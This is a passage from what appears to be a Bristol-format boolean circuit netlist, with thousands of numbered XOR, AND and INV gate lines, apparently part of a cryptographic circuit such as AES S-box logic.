22328 INV +2 1 22375 22376 22327 XOR +2 1 22387 22419 22374 AND +2 1 22384 22425 22373 AND +2 1 22391 22422 22372 AND +2 1 22394 22426 22371 AND +2 1 22385 22430 22370 AND +2 1 22370 22374 22347 XOR +2 1 22379 22370 22332 XOR +1 1 22347 22325 INV +2 1 22388 22423 22369 AND +2 1 22377 22369 22334 XOR +2 1 22398 22424 22368 AND +2 1 22325 22368 22324 XOR +2 1 22324 22362 22320 XOR +2 1 22386 22429 22367 AND +2 1 22367 22320 22323 XOR +2 1 22383 22431 22366 AND +2 1 22366 22367 22361 XOR +2 1 22372 22361 22343 XOR +2 1 22373 22343 22344 XOR +2 1 22381 22344 22348 XOR +2 1 22382 22348 22353 XOR +2 1 22334 22361 22330 XOR +2 1 22362 22330 22333 XOR +2 1 22332 22333 22435 XOR +2 1 22325 22330 22329 XOR +2 1 22328 22329 22434 XOR +2 1 22353 22327 22433 XOR +2 1 22343 22320 22319 XOR +2 1 22380 22348 22317 XOR +2 1 22316 22317 35048 XOR +2 1 22387 22428 22365 AND +2 1 22376 22365 22326 XOR +1 1 22326 22322 INV +2 1 22322 22323 22432 XOR +1 1 22433 35050 INV +2 1 35050 32956 5887 XOR +2 1 5887 5822 5798 XOR +2 1 5887 5847 5790 XOR +2 1 5887 33035 5777 XOR +2 1 35048 35061 5848 XOR +2 1 5916 5848 34978 XOR +2 1 34978 268 33625 XOR +2 1 5848 5839 5819 XOR +2 1 5777 5778 34989 XOR +2 1 34989 257 33636 XOR +2 1 33036 5790 34981 XOR +2 1 34981 265 33628 XOR +2 1 5921 35048 5782 XOR +2 1 5781 5782 5780 XOR +2 1 35055 22433 5814 XOR +2 1 5813 5814 34966 XOR +2 1 34966 280 33613 XOR +1 1 5780 34986 INV +2 1 34986 260 33633 XOR +2 1 20988 20989 32704 XOR +2 1 20985 32704 20965 XOR +2 1 20986 20965 20925 XOR +2 1 20981 20965 20931 XOR +1 1 20931 20928 INV +2 1 20928 20929 35006 XOR +2 1 34991 35006 5871 XOR +2 1 5871 5870 5765 XOR +2 1 20954 20925 35010 XOR +2 1 34994 35010 5836 XOR +2 1 5836 34992 5578 XOR +2 1 5922 35010 5753 XOR +2 1 5753 5754 34886 XOR +2 1 34886 360 33533 XOR +2 1 5869 5836 5821 XOR +1 1 5836 5732 INV +2 1 5732 34996 5731 XOR +2 1 34995 5765 34881 XOR +2 1 34881 365 33528 XOR +2 1 33533 33528 15200 XOR +2 1 33529 33528 15084 XOR +2 1 35005 35010 5828 XOR +2 1 5879 5828 5770 XOR +2 1 34994 5770 34878 XOR +2 1 34878 368 33525 XOR +2 1 5578 5579 5915 XOR +1 1 5871 5733 INV +2 1 5733 32951 5802 XOR +2 1 5802 5803 34873 XOR +2 1 34873 373 33520 XOR +2 1 33525 33520 16868 XOR +2 1 5883 5733 5730 XOR +2 1 5730 5731 34866 XOR +2 1 34866 380 33513 XOR +2 1 33521 33520 16752 XOR +2 1 5869 5828 5752 XOR +2 1 32988 5752 34887 XOR +2 1 34887 359 33534 XOR +2 1 32704 20963 35008 XOR +2 1 35008 18401 5698 XOR +2 1 35004 35008 5880 XOR +2 1 5915 5880 34867 XOR +2 1 34867 379 33514 XOR +2 1 5830 35008 5615 XOR +2 1 5615 5616 5900 XOR +2 1 5900 5884 34883 XOR +2 1 34883 363 33530 XOR +2 1 33530 33532 15110 XOR +2 1 33530 33533 15201 XOR +2 1 33528 33530 15203 XOR +2 1 5775 5880 5773 XOR +2 1 5881 5880 5745 XOR +2 1 32773 5745 34892 XOR +2 1 34892 354 33539 XOR +2 1 33539 33541 17332 XOR +2 1 5773 5774 34875 XOR +2 1 34875 371 33522 XOR +2 1 33522 33524 16778 XOR +2 1 33522 33525 16869 XOR +2 1 33520 33522 16871 XOR +2 1 22378 22379 32714 XOR +2 1 32714 22353 35049 XOR +2 1 35049 35054 5888 XOR +2 1 5894 5888 34987 XOR +2 1 5888 5842 5793 XOR +2 1 5793 5794 34979 XOR +2 1 34979 267 33626 XOR +2 1 33626 33628 14693 XOR +1 1 35049 5628 INV +2 1 35062 5628 5817 XOR +2 1 5816 5817 34964 XOR +2 1 34964 282 33611 XOR +2 1 33611 33613 19834 XOR +2 1 35053 5628 5627 XOR +2 1 34987 259 33634 XOR +2 1 33634 33636 6242 XOR +2 1 22375 32714 22355 XOR +2 1 22371 22355 22321 XOR +1 1 22321 22318 INV +2 1 22318 22319 35047 XOR +2 1 35047 35052 5862 XOR +2 1 22376 22355 22315 XOR +2 1 22344 22315 35051 XOR +2 1 35051 35063 5834 XOR +2 1 5872 5834 5633 XOR +2 1 32950 5633 34959 XOR +2 1 34959 287 33606 XOR +2 1 35051 35055 5823 XOR +1 1 5823 5920 INV +2 1 5920 35048 5626 XOR +2 1 5626 5627 5895 XOR +2 1 5895 5839 34971 XOR +2 1 34971 275 33618 XOR +2 1 5862 5852 5783 XOR +2 1 5862 35060 5795 XOR +2 1 35051 5798 34974 XOR +2 1 34974 272 33621 XOR +2 1 33618 33621 18120 XOR +2 1 5834 35054 5820 XOR +2 1 5920 35057 5806 XOR +2 1 5819 5820 34963 XOR +2 1 34963 283 33610 XOR +2 1 33610 33613 19927 XOR +2 1 5795 5796 34977 XOR +2 1 34977 269 33624 XOR +2 1 33624 33626 14786 XOR +2 1 33625 33624 14667 XOR +2 1 35056 5783 34985 XOR +2 1 34985 261 33632 XOR +2 1 33633 33632 6216 XOR +2 1 33632 33634 6335 XOR +2 1 5845 5823 5776 XOR +2 1 5872 5823 5812 XOR +2 1 5862 5848 5807 XOR +1 1 5807 5805 INV +2 1 5805 5806 34970 XOR +2 1 34970 276 33617 XOR +2 1 5823 35063 5788 XOR +2 1 5788 5789 34982 XOR +2 1 34982 264 33629 XOR +2 1 33626 33629 14784 XOR +2 1 33629 33624 14783 XOR +2 1 35059 5776 34990 XOR +2 1 34990 256 33637 XOR +2 1 33634 33637 6333 XOR +2 1 33637 33632 6332 XOR +2 1 5834 35047 5590 XOR +2 1 5590 5591 5910 XOR +2 1 5910 5842 34962 XOR +2 1 34962 284 33609 XOR +1 1 21042 32998 INV +2 1 32773 32998 5876 XOR +2 1 5876 34993 5699 XOR +1 1 5699 5697 INV +2 1 5697 5698 34868 XOR +2 1 34868 378 33515 XOR +2 1 32998 18402 5681 XOR +2 1 5680 5681 5679 XOR +1 1 5679 34869 INV +2 1 34869 377 33516 XOR +2 1 33514 33516 20114 XOR +2 1 20114 33515 20073 XOR +2 1 5879 5876 5743 XOR +2 1 32774 5743 34893 XOR +2 1 34893 353 33540 XOR +2 1 33534 33540 17338 XOR +2 1 17332 17338 17420 XOR +2 1 33539 17338 17423 XOR +2 1 5884 5876 5772 XOR +2 1 32985 5772 34876 XOR +2 1 34876 370 33523 XOR +2 1 33523 33525 16776 XOR +2 1 16776 16871 16856 XOR +2 1 16778 16776 16738 XOR +2 1 16778 33523 16737 XOR +2 1 16871 16856 16847 AND +2 1 5881 32998 5757 XOR +2 1 5757 5758 34884 XOR +2 1 34884 362 33531 XOR +2 1 33531 33533 15108 XOR +2 1 15108 15203 15188 XOR +2 1 15110 15108 15070 XOR +2 1 15110 33531 15069 XOR +2 1 15203 15188 15179 AND +1 1 21044 32999 INV +2 1 32987 32999 5891 XOR +2 1 5899 5891 34872 XOR +2 1 34872 374 33519 XOR +2 1 33519 33521 16775 XOR +2 1 33520 16775 16777 XOR +2 1 33524 16777 16858 XOR +2 1 33523 16777 16855 XOR +2 1 16775 16869 16861 XOR +2 1 33519 33520 16792 XOR +2 1 16869 16792 16865 XOR +2 1 16775 16738 16859 XOR +2 1 33525 33519 16870 XOR +2 1 16861 16865 16854 AND +2 1 16854 16778 16781 XOR +2 1 16870 16855 16851 AND +2 1 16851 16776 16780 XOR +2 1 16869 16858 16848 AND +2 1 16848 16777 16779 XOR +2 1 16781 16779 16785 XOR +2 1 33525 16785 16790 XOR +2 1 16847 16848 16751 XOR +2 1 16751 16752 16798 XOR +2 1 16798 16780 16797 XOR +2 1 16868 16859 16846 AND +2 1 5891 5869 5767 XOR +2 1 5767 5768 5766 XOR +2 1 5891 5868 5744 XOR +2 1 35006 5744 34865 XOR +2 1 34865 381 33512 XOR +2 1 33512 33514 20207 XOR +2 1 33513 33512 20088 XOR +1 1 5766 34880 INV +2 1 34880 366 33527 XOR +2 1 33527 33529 15107 XOR +2 1 33528 15107 15109 XOR +2 1 33532 15109 15190 XOR +2 1 33531 15109 15187 XOR +2 1 15107 15201 15193 XOR +2 1 33527 33528 15124 XOR +2 1 15201 15124 15197 XOR +2 1 15107 15070 15191 XOR +2 1 33533 33527 15202 XOR +2 1 15193 15197 15186 AND +2 1 15186 15110 15113 XOR +2 1 15202 15187 15183 AND +2 1 15183 15108 15112 XOR +2 1 15201 15190 15180 AND +2 1 15180 15109 15111 XOR +2 1 15113 15111 15117 XOR +2 1 33533 15117 15122 XOR +2 1 15179 15180 15083 XOR +2 1 15083 15084 15130 XOR +2 1 15130 15112 15129 XOR +2 1 15200 15191 15178 AND +2 1 5732 32999 5761 XOR +2 1 32999 5572 5750 XOR +2 1 5749 5750 34889 XOR +2 1 34889 357 33536 XOR +2 1 33541 33536 17424 XOR +1 1 21045 33000 INV +2 1 5828 33000 5621 XOR +2 1 5621 5622 5897 XOR +2 1 5897 5870 34888 XOR +2 1 34888 358 33535 XOR +2 1 33535 17423 17419 XOR +2 1 33535 33536 17348 XOR +2 1 17348 17420 17418 XOR +2 1 33541 33535 17426 XOR +2 1 17423 17419 17406 AND +2 1 33000 5821 34863 XOR +2 1 34863 383 33510 XOR +2 1 33510 33516 20118 XOR +2 1 33515 20118 20203 XOR +2 1 33510 20073 20202 XOR +2 1 20202 33510 20188 AND +2 1 32988 33000 5892 XOR +2 1 5892 5829 5644 XOR +2 1 32775 5644 34871 XOR +2 1 34871 375 33518 XOR +2 1 33518 16861 16860 XOR +2 1 33518 33524 16782 XOR +2 1 16782 16777 16857 XOR +2 1 16776 16782 16864 XOR +2 1 16792 16864 16862 XOR +2 1 33523 16782 16867 XOR +2 1 33519 16867 16863 XOR +2 1 33518 16737 16866 XOR +2 1 16862 16860 16853 AND +2 1 16847 16853 16799 XOR +2 1 16799 16790 16845 XOR +2 1 16866 33518 16852 AND +2 1 16846 16852 16804 XOR +2 1 16804 16776 16791 XOR +2 1 16799 16791 16842 XOR +2 1 16785 16804 16753 XOR +2 1 33523 16753 16796 XOR +2 1 16867 16863 16850 AND +2 1 16850 16797 16844 XOR +2 1 16864 16857 16849 AND +2 1 16846 16849 16800 XOR +2 1 16847 16800 16794 XOR +2 1 16780 16800 16754 XOR +2 1 16754 16779 16843 XOR +2 1 16850 16794 16750 XOR +2 1 33519 16750 16837 XOR +2 1 16845 16844 16841 AND +2 1 16841 16796 16836 XOR +2 1 16841 16843 16840 XOR +2 1 16842 16840 16839 AND +2 1 16839 16796 16838 XOR +2 1 16839 16851 16745 XOR +2 1 16745 16781 16741 XOR +2 1 33525 16741 16744 XOR +2 1 16839 16790 16742 XOR +2 1 33523 16741 16740 XOR +2 1 16836 16837 16835 AND +2 1 16835 16843 16834 XOR +2 1 16841 16835 16833 XOR +2 1 16835 16794 16749 XOR +2 1 16835 16852 16748 XOR +2 1 16748 16849 16743 XOR +2 1 16743 16744 16826 XOR +2 1 16843 16833 16832 AND +2 1 16832 16840 16830 XOR +2 1 16832 16850 16803 XOR +2 1 16803 16797 16824 XOR +2 1 33519 16803 16786 XOR +2 1 16786 16749 16831 XOR +2 1 16838 16830 16829 AND +2 1 16829 16799 16789 XOR +2 1 16789 16791 16828 XOR +2 1 16829 16853 16747 XOR +2 1 16786 16747 16739 XOR +2 1 16776 16739 16746 XOR +2 1 16743 16746 16827 XOR +2 1 16789 16742 16825 XOR +2 1 16739 16740 16823 XOR +2 1 16824 16861 16822 AND +2 1 16831 16860 16821 AND +2 1 16834 33518 16820 AND +2 1 16820 16822 16802 XOR +2 1 16825 16855 16819 AND +2 1 16828 16867 16818 AND +2 1 16838 16857 16817 AND +2 1 16817 16818 16756 XOR +2 1 16826 16858 16816 AND +2 1 16823 16856 16815 AND +2 1 16815 16818 16771 XOR +1 1 16771 16768 INV +2 1 16815 16816 16767 XOR +2 1 16827 16859 16814 AND +2 1 16824 16865 16813 AND +2 1 16831 16862 16812 AND +2 1 16834 16866 16811 AND +2 1 16825 16870 16810 AND +2 1 16810 16814 16787 XOR +2 1 16819 16810 16772 XOR +1 1 16787 16765 INV +2 1 16828 16863 16809 AND +2 1 16817 16809 16774 XOR +2 1 16838 16864 16808 AND +2 1 16765 16808 16764 XOR +2 1 16764 16802 16760 XOR +2 1 16826 16869 16807 AND +2 1 16807 16760 16763 XOR +2 1 16823 16871 16806 AND +2 1 16806 16807 16801 XOR +2 1 16812 16801 16783 XOR +2 1 16813 16783 16784 XOR +2 1 16821 16784 16788 XOR +2 1 16822 16788 16793 XOR +2 1 16774 16801 16770 XOR +2 1 16802 16770 16773 XOR +2 1 16772 16773 16875 XOR +2 1 16765 16770 16769 XOR +2 1 16768 16769 16874 XOR +2 1 32974 16874 6423 XOR +2 1 16793 16767 16873 XOR +2 1 32973 16873 6416 XOR +2 1 16783 16760 16759 XOR +2 1 16820 16788 16757 XOR +2 1 16756 16757 35235 XOR +2 1 16827 16868 16805 AND +2 1 16816 16805 16766 XOR +1 1 16766 16762 INV +2 1 16762 16763 16872 XOR +2 1 32980 16872 6418 XOR +1 1 16874 35233 INV +1 1 16873 35238 INV +1 1 16872 35237 INV +1 1 35235 6370 INV +2 1 35241 6370 6380 XOR +2 1 5892 5870 5760 XOR +2 1 5892 5830 5769 XOR +2 1 32952 5769 34879 XOR +2 1 34879 367 33526 XOR +2 1 33526 15193 15192 XOR +2 1 33526 33532 15114 XOR +2 1 15114 15109 15189 XOR +2 1 15108 15114 15196 XOR +2 1 15124 15196 15194 XOR +2 1 33531 15114 15199 XOR +2 1 33527 15199 15195 XOR +2 1 33526 15069 15198 XOR +2 1 15194 15192 15185 AND +2 1 15179 15185 15131 XOR +2 1 15131 15122 15177 XOR +2 1 15198 33526 15184 AND +2 1 15178 15184 15136 XOR +2 1 15136 15108 15123 XOR +2 1 15131 15123 15174 XOR +2 1 15117 15136 15085 XOR +2 1 33531 15085 15128 XOR +2 1 15199 15195 15182 AND +2 1 15182 15129 15176 XOR +2 1 15196 15189 15181 AND +2 1 15178 15181 15132 XOR +2 1 15179 15132 15126 XOR +2 1 15112 15132 15086 XOR +2 1 15086 15111 15175 XOR +2 1 15182 15126 15082 XOR +2 1 33527 15082 15169 XOR +2 1 15177 15176 15173 AND +2 1 15173 15128 15168 XOR +2 1 15173 15175 15172 XOR +2 1 15174 15172 15171 AND +2 1 15171 15128 15170 XOR +2 1 15171 15183 15077 XOR +2 1 15077 15113 15073 XOR +2 1 33533 15073 15076 XOR +2 1 15171 15122 15074 XOR +2 1 33531 15073 15072 XOR +2 1 15168 15169 15167 AND +2 1 15167 15175 15166 XOR +2 1 15173 15167 15165 XOR +2 1 15167 15126 15081 XOR +2 1 15167 15184 15080 XOR +2 1 15080 15181 15075 XOR +2 1 15075 15076 15158 XOR +2 1 15175 15165 15164 AND +2 1 15164 15172 15162 XOR +2 1 15164 15182 15135 XOR +2 1 15135 15129 15156 XOR +2 1 33527 15135 15118 XOR +2 1 15118 15081 15163 XOR +2 1 15170 15162 15161 AND +2 1 15161 15131 15121 XOR +2 1 15121 15123 15160 XOR +2 1 15161 15185 15079 XOR +2 1 15118 15079 15071 XOR +2 1 15108 15071 15078 XOR +2 1 15075 15078 15159 XOR +2 1 15121 15074 15157 XOR +2 1 15071 15072 15155 XOR +2 1 15156 15193 15154 AND +2 1 15163 15192 15153 AND +2 1 15166 33526 15152 AND +2 1 15152 15154 15134 XOR +2 1 15157 15187 15151 AND +2 1 15160 15199 15150 AND +2 1 15170 15189 15149 AND +2 1 15149 15150 15088 XOR +2 1 15158 15190 15148 AND +2 1 15155 15188 15147 AND +2 1 15147 15150 15103 XOR +1 1 15103 15100 INV +2 1 15147 15148 15099 XOR +2 1 15159 15191 15146 AND +2 1 15156 15197 15145 AND +2 1 15163 15194 15144 AND +2 1 15166 15198 15143 AND +2 1 15157 15202 15142 AND +2 1 15142 15146 15119 XOR +2 1 15151 15142 15104 XOR +1 1 15119 15097 INV +2 1 15160 15195 15141 AND +2 1 15149 15141 15106 XOR +2 1 15170 15196 15140 AND +2 1 15097 15140 15096 XOR +2 1 15096 15134 15092 XOR +2 1 15158 15201 15139 AND +2 1 15139 15092 15095 XOR +2 1 15155 15203 15138 AND +2 1 15138 15139 15133 XOR +2 1 15144 15133 15115 XOR +2 1 15145 15115 15116 XOR +2 1 15153 15116 15120 XOR +2 1 15154 15120 15125 XOR +2 1 15106 15133 15102 XOR +2 1 15134 15102 15105 XOR +2 1 15104 15105 15207 XOR +2 1 15097 15102 15101 XOR +2 1 15100 15101 15206 XOR +2 1 15125 15099 15205 XOR +2 1 15115 15092 15091 XOR +2 1 15152 15120 15089 XOR +2 1 15088 15089 35222 XOR +2 1 15159 15200 15137 AND +2 1 15148 15137 15098 XOR +1 1 15098 15094 INV +2 1 15094 15095 15204 XOR +2 1 5760 5761 5759 XOR +1 1 5759 34864 INV +2 1 34864 382 33511 XOR +2 1 33511 33513 20111 XOR +2 1 33512 20111 20113 XOR +2 1 33516 20113 20194 XOR +2 1 33515 20113 20191 XOR +2 1 20118 20113 20193 XOR +2 1 33511 20203 20199 XOR +2 1 33511 33512 20128 XOR +2 1 20203 20199 20186 AND +2 1 35222 35226 6617 XOR +2 1 15150 15151 32662 XOR +2 1 32662 15125 35223 XOR +1 1 35223 6461 INV +2 1 35223 35227 6612 XOR +2 1 15147 32662 15127 XOR +2 1 15143 15127 15093 XOR +1 1 15093 15090 INV +2 1 15090 15091 35221 XOR +2 1 15148 15127 15087 XOR +2 1 15116 15087 35224 XOR +2 1 35221 35225 6622 XOR +2 1 6622 33025 6505 XOR +2 1 35224 35228 6591 XOR +2 1 6591 35222 6467 XOR +2 1 6591 6461 6460 XOR +2 1 16818 16819 32674 XOR +2 1 16815 32674 16795 XOR +2 1 16816 16795 16755 XOR +2 1 16784 16755 35239 XOR +2 1 35239 35243 6597 XOR +1 1 6597 6378 INV +2 1 16811 16795 16761 XOR +1 1 16761 16758 INV +2 1 16758 16759 35234 XOR +1 1 35234 6377 INV +2 1 35240 6377 6376 XOR +2 1 32674 16793 35236 XOR +2 1 35242 35236 6421 XOR +1 1 15207 32901 INV +2 1 32901 33026 6629 XOR +1 1 15204 32906 INV +2 1 32906 33031 6607 XOR +2 1 6607 35227 6503 XOR +1 1 15205 32907 INV +2 1 35224 32907 6456 XOR +1 1 15206 32908 INV +2 1 6591 32908 6470 XOR +2 1 32908 33025 6625 XOR +1 1 16875 32926 INV +2 1 32975 32926 6374 XOR +1 1 22435 33017 INV +2 1 33017 32950 5885 XOR +2 1 5834 33017 5588 XOR +2 1 5588 5589 5911 XOR +2 1 5911 5852 34960 XOR +2 1 34960 286 33607 XOR +2 1 33607 33609 19833 XOR +2 1 19833 19927 19919 XOR +2 1 33606 19919 19918 XOR +2 1 33613 33607 19928 XOR +2 1 5885 5837 5797 XOR +2 1 33030 5797 34975 XOR +2 1 34975 271 33622 XOR +2 1 33622 33628 14697 XOR +2 1 5885 5822 5787 XOR +2 1 32984 5787 34983 XOR +2 1 34983 263 33630 XOR +2 1 33630 33636 6246 XOR +2 1 33017 5812 34967 XOR +2 1 34967 279 33614 XOR +2 1 5885 5852 5810 XOR +1 1 22432 33023 INV +2 1 33023 33035 5857 XOR +2 1 22433 33023 5801 XOR +2 1 33023 5779 34988 XOR +2 1 34988 258 33635 XOR +2 1 33635 33637 6240 XOR +2 1 6240 6335 6320 XOR +2 1 6240 6246 6328 XOR +2 1 33635 6246 6331 XOR +2 1 6242 6240 6202 XOR +2 1 6242 33635 6201 XOR +2 1 5857 5845 5815 XOR +2 1 32956 5815 34965 XOR +2 1 34965 281 33612 XOR +2 1 33610 33612 19836 XOR +2 1 33606 33612 19840 XOR +2 1 19834 19840 19922 XOR +2 1 33611 19840 19925 XOR +2 1 33607 19925 19921 XOR +2 1 19836 19834 19796 XOR +2 1 19833 19796 19917 XOR +2 1 19836 33611 19795 XOR +2 1 33606 19795 19924 XOR +2 1 19924 33606 19910 AND +2 1 19925 19921 19908 AND +2 1 5857 35058 5791 XOR +2 1 5888 5857 5804 XOR +2 1 32981 5804 34972 XOR +2 1 34972 274 33619 XOR +2 1 33619 33621 18027 XOR +2 1 5800 5801 5799 XOR +1 1 5799 34973 INV +2 1 34973 273 33620 XOR +2 1 33618 33620 18029 XOR +2 1 33614 33620 18033 XOR +2 1 18027 18033 18115 XOR +2 1 33619 18033 18118 XOR +2 1 18029 18027 17989 XOR +2 1 18029 33619 17988 XOR +2 1 33614 17988 18117 XOR +2 1 18117 33614 18103 AND +2 1 5791 5792 34980 XOR +2 1 34980 266 33627 XOR +2 1 33627 33629 14691 XOR +2 1 14691 14786 14771 XOR +2 1 14691 14697 14779 XOR +2 1 33627 14697 14782 XOR +2 1 14693 14691 14653 XOR +2 1 14693 33627 14652 XOR +2 1 33622 14652 14781 XOR +2 1 14781 33622 14767 AND +2 1 14786 14771 14762 AND +2 1 33630 6201 6330 XOR +2 1 6330 33630 6316 AND +2 1 6335 6320 6311 AND +1 1 22434 33024 INV +2 1 33024 32949 5877 XOR +2 1 5917 5877 34976 XOR +2 1 5840 33024 5631 XOR +2 1 5631 5632 34961 XOR +2 1 34961 285 33608 XOR +2 1 33608 19833 19835 XOR +2 1 33612 19835 19916 XOR +2 1 33611 19835 19913 XOR +2 1 19840 19835 19915 XOR +2 1 33607 33608 19850 XOR +2 1 19850 19922 19920 XOR +2 1 19927 19850 19923 XOR +2 1 33608 33610 19929 XOR +2 1 19834 19929 19914 XOR +2 1 33609 33608 19810 XOR +2 1 33613 33608 19926 XOR +2 1 19919 19923 19912 AND +2 1 19912 19836 19839 XOR +2 1 19920 19918 19911 AND +2 1 19928 19913 19909 AND +2 1 19909 19834 19838 XOR +2 1 19922 19915 19907 AND +2 1 19927 19916 19906 AND +2 1 19906 19835 19837 XOR +2 1 19839 19837 19843 XOR +2 1 33613 19843 19848 XOR +2 1 19929 19914 19905 AND +2 1 19905 19911 19857 XOR +2 1 19857 19848 19903 XOR +2 1 19905 19906 19809 XOR +2 1 19809 19810 19856 XOR +2 1 19856 19838 19855 XOR +2 1 19908 19855 19902 XOR +2 1 19926 19917 19904 AND +2 1 19904 19907 19858 XOR +2 1 19904 19910 19862 XOR +2 1 19862 19834 19849 XOR +2 1 19857 19849 19900 XOR +2 1 19905 19858 19852 XOR +2 1 19838 19858 19812 XOR +2 1 19812 19837 19901 XOR +2 1 19843 19862 19811 XOR +2 1 33611 19811 19854 XOR +2 1 19908 19852 19808 XOR +2 1 33607 19808 19895 XOR +2 1 19903 19902 19899 AND +2 1 19899 19854 19894 XOR +2 1 19899 19901 19898 XOR +2 1 19900 19898 19897 AND +2 1 19897 19854 19896 XOR +2 1 19897 19909 19803 XOR +2 1 19803 19839 19799 XOR +2 1 33613 19799 19802 XOR +2 1 19897 19848 19800 XOR +2 1 33611 19799 19798 XOR +2 1 19894 19895 19893 AND +2 1 19893 19901 19892 XOR +2 1 19899 19893 19891 XOR +2 1 19893 19852 19807 XOR +2 1 19893 19910 19806 XOR +2 1 19806 19907 19801 XOR +2 1 19801 19802 19884 XOR +2 1 19901 19891 19890 AND +2 1 19890 19898 19888 XOR +2 1 19890 19908 19861 XOR +2 1 19861 19855 19882 XOR +2 1 33607 19861 19844 XOR +2 1 19844 19807 19889 XOR +2 1 19896 19888 19887 AND +2 1 19887 19857 19847 XOR +2 1 19847 19849 19886 XOR +2 1 19887 19911 19805 XOR +2 1 19844 19805 19797 XOR +2 1 19834 19797 19804 XOR +2 1 19801 19804 19885 XOR +2 1 19847 19800 19883 XOR +2 1 19797 19798 19881 XOR +2 1 19882 19919 19880 AND +2 1 19889 19918 19879 AND +2 1 19892 33606 19878 AND +2 1 19878 19880 19860 XOR +2 1 19883 19913 19877 AND +2 1 19886 19925 19876 AND +2 1 19896 19915 19875 AND +2 1 19875 19876 19814 XOR +2 1 19884 19916 19874 AND +2 1 19881 19914 19873 AND +2 1 19873 19876 19829 XOR +1 1 19829 19826 INV +2 1 19873 19874 19825 XOR +2 1 19885 19917 19872 AND +2 1 19882 19923 19871 AND +2 1 19889 19920 19870 AND +2 1 19892 19924 19869 AND +2 1 19883 19928 19868 AND +2 1 19868 19872 19845 XOR +2 1 19877 19868 19830 XOR +1 1 19845 19823 INV +2 1 19886 19921 19867 AND +2 1 19875 19867 19832 XOR +2 1 19896 19922 19866 AND +2 1 19823 19866 19822 XOR +2 1 19822 19860 19818 XOR +2 1 19884 19927 19865 AND +2 1 19865 19818 19821 XOR +2 1 19881 19929 19864 AND +2 1 19864 19865 19859 XOR +2 1 19870 19859 19841 XOR +2 1 19871 19841 19842 XOR +2 1 19879 19842 19846 XOR +2 1 19880 19846 19851 XOR +2 1 19832 19859 19828 XOR +2 1 19860 19828 19831 XOR +2 1 19830 19831 19933 XOR +2 1 19823 19828 19827 XOR +2 1 19826 19827 19932 XOR +2 1 19851 19825 19931 XOR +2 1 19841 19818 19817 XOR +2 1 19878 19846 19815 XOR +2 1 19814 19815 35230 XOR +2 1 35236 35230 6372 XOR +2 1 19885 19926 19863 AND +2 1 19874 19863 19824 XOR +1 1 19824 19820 INV +2 1 19820 19821 19930 XOR +2 1 34976 270 33623 XOR +2 1 33623 33625 14690 XOR +2 1 33624 14690 14692 XOR +2 1 33628 14692 14773 XOR +2 1 33627 14692 14770 XOR +2 1 14697 14692 14772 XOR +2 1 33623 14782 14778 XOR +2 1 14690 14784 14776 XOR +2 1 33622 14776 14775 XOR +2 1 33623 33624 14707 XOR +2 1 14707 14779 14777 XOR +2 1 14784 14707 14780 XOR +2 1 14690 14653 14774 XOR +2 1 33629 33623 14785 XOR +2 1 14776 14780 14769 AND +2 1 14769 14693 14696 XOR +2 1 14777 14775 14768 AND +2 1 14762 14768 14714 XOR +2 1 14785 14770 14766 AND +2 1 14766 14691 14695 XOR +2 1 14782 14778 14765 AND +2 1 14779 14772 14764 AND +2 1 14784 14773 14763 AND +2 1 14763 14692 14694 XOR +2 1 14696 14694 14700 XOR +2 1 33629 14700 14705 XOR +2 1 14714 14705 14760 XOR +2 1 14762 14763 14666 XOR +2 1 14666 14667 14713 XOR +2 1 14713 14695 14712 XOR +2 1 14765 14712 14759 XOR +2 1 14783 14774 14761 AND +2 1 14761 14764 14715 XOR +2 1 14761 14767 14719 XOR +2 1 14719 14691 14706 XOR +2 1 14714 14706 14757 XOR +2 1 14762 14715 14709 XOR +2 1 14695 14715 14669 XOR +2 1 14669 14694 14758 XOR +2 1 14700 14719 14668 XOR +2 1 33627 14668 14711 XOR +2 1 14765 14709 14665 XOR +2 1 33623 14665 14752 XOR +2 1 14760 14759 14756 AND +2 1 14756 14711 14751 XOR +2 1 14756 14758 14755 XOR +2 1 14757 14755 14754 AND +2 1 14754 14711 14753 XOR +2 1 14754 14766 14660 XOR +2 1 14660 14696 14656 XOR +2 1 33629 14656 14659 XOR +2 1 14754 14705 14657 XOR +2 1 33627 14656 14655 XOR +2 1 14751 14752 14750 AND +2 1 14750 14758 14749 XOR +2 1 14756 14750 14748 XOR +2 1 14750 14709 14664 XOR +2 1 14750 14767 14663 XOR +2 1 14663 14764 14658 XOR +2 1 14658 14659 14741 XOR +2 1 14758 14748 14747 AND +2 1 14747 14755 14745 XOR +2 1 14747 14765 14718 XOR +2 1 14718 14712 14739 XOR +2 1 33623 14718 14701 XOR +2 1 14701 14664 14746 XOR +2 1 14753 14745 14744 AND +2 1 14744 14714 14704 XOR +2 1 14704 14706 14743 XOR +2 1 14744 14768 14662 XOR +2 1 14701 14662 14654 XOR +2 1 14691 14654 14661 XOR +2 1 14658 14661 14742 XOR +2 1 14704 14657 14740 XOR +2 1 14654 14655 14738 XOR +2 1 14739 14776 14737 AND +2 1 14746 14775 14736 AND +2 1 14749 33622 14735 AND +2 1 14735 14737 14717 XOR +2 1 14740 14770 14734 AND +2 1 14743 14782 14733 AND +2 1 14753 14772 14732 AND +2 1 14732 14733 14671 XOR +2 1 14741 14773 14731 AND +2 1 14738 14771 14730 AND +2 1 14730 14733 14686 XOR +1 1 14686 14683 INV +2 1 14730 14731 14682 XOR +2 1 14742 14774 14729 AND +2 1 14739 14780 14728 AND +2 1 14746 14777 14727 AND +2 1 14749 14781 14726 AND +2 1 14740 14785 14725 AND +2 1 14725 14729 14702 XOR +2 1 14734 14725 14687 XOR +1 1 14702 14680 INV +2 1 14743 14778 14724 AND +2 1 14732 14724 14689 XOR +2 1 14753 14779 14723 AND +2 1 14680 14723 14679 XOR +2 1 14679 14717 14675 XOR +2 1 14741 14784 14722 AND +2 1 14722 14675 14678 XOR +2 1 14738 14786 14721 AND +2 1 14721 14722 14716 XOR +2 1 14727 14716 14698 XOR +2 1 14728 14698 14699 XOR +2 1 14736 14699 14703 XOR +2 1 14737 14703 14708 XOR +2 1 14689 14716 14685 XOR +2 1 14717 14685 14688 XOR +2 1 14687 14688 14790 XOR +2 1 14680 14685 14684 XOR +2 1 14683 14684 14789 XOR +2 1 14708 14682 14788 XOR +2 1 14698 14675 14674 XOR +2 1 14735 14703 14672 XOR +2 1 14671 14672 35204 XOR +2 1 14742 14783 14720 AND +2 1 14731 14720 14681 XOR +1 1 14681 14677 INV +2 1 14677 14678 14787 XOR +1 1 14789 35202 INV +2 1 14789 32897 6384 XOR +2 1 5877 5840 5808 XOR +2 1 5920 33024 5811 XOR +1 1 5877 5786 INV +2 1 5786 5872 5784 XOR +2 1 5784 5785 34984 XOR +2 1 34984 262 33631 XOR +2 1 33631 